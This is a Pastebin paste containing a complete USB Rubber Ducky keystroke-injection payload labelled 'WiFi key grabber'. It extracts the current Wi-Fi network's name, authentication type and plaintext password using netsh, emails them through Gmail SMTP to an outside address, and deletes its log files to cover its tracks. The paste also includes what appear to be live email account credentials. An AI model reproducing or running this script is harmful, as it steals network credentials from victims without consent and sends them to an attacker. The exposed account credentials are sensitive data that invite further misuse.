Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- DELAY 3000
- WINDOWS d
- WINDOWS r
- DELAY 500
- STRING cmd
- ENTER
- DELAY 200
- cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
- set A="%A:~1%"
- ENTER
- netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
- ENTER
- for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
- ENTER
- for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
- ENTER
- for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
- ENTER
- del A.txt
- ENTER
- echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
- ENTER
- powershell
- ENTER
- $SMTPServer = 'smtp.gmail.com'
- ENTER
- $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- ENTER
- $SMTPInfo.EnableSsl = $true
- ENTER
- $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('maxick7508@gmail.com', 'TrembleyQ16;')
- ENTER
- $ReportEmail = New-Object System.Net.Mail.MailMessage
- ENTER
- $ReportEmail.From = 'maxick7508@gmail.com'
- ENTER
- $ReportEmail.To.Add('minilie88@gmail.com')
- ENTER
- $ReportEmail.Subject = 'WiFi key grabber'
- ENTER
- $ReportEmail.Body = (Get-Content Log.txt | out-string)
- ENTER
- $SMTPInfo.Send($ReportEmail)
- ENTER
- DELAY 1000
- exit
- ENTER
- DELAY 500
- del Log.txt & exit
- ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement